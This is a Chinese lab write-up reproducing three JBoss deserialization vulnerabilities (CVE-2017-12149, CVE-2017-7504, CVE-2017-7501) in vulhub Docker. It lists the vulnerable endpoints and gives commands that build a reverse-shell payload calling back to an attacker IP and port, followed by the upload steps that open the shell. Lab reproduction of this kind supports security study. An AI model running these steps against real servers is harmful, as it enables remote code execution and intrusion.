1、CVE-2017-12149
影响版本
Jboss5.x/6.x
漏洞原因
在JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下,
尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。
引发漏洞的目录:http://your-ip:8080/invoker/readonly
漏洞复现
这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/CVE-2017-12149目录,执行`docker-compose up -d`开启环境。
使用JavaDeserH2HC工具生成payload。(下载地址https://github.com/joaomatosf/JavaDeserH2HC)
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
//反弹shell的IP和端口,这里使用的是192.168.153.129:2333
在kali中新建一个命令窗口,监听端口2333。
上传payload到/invoker/readonly目录下,反弹shell。
2、CVE-2017-7504
漏洞原因
在JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的
HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
引发漏洞的目录:http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet
漏洞复现
这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/CVE-2017-7504目录,执行`docker-compose up -d`开启环境。
其余步骤和CVE-2017-12149一样,只是上传payload的url要变成http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet。
3、CVE-2017-7501
漏洞原因
JBoss在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,存在反序列化漏洞。
漏洞复现
这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/JMXInvokerServlet-deserialization目录,执行`docker-compose up -d`开启环境。
其余步骤和CVE-2017-12149一样,只是上传payload的url要变成http://your-ip:8080/invoker/JMXInvokerServlet。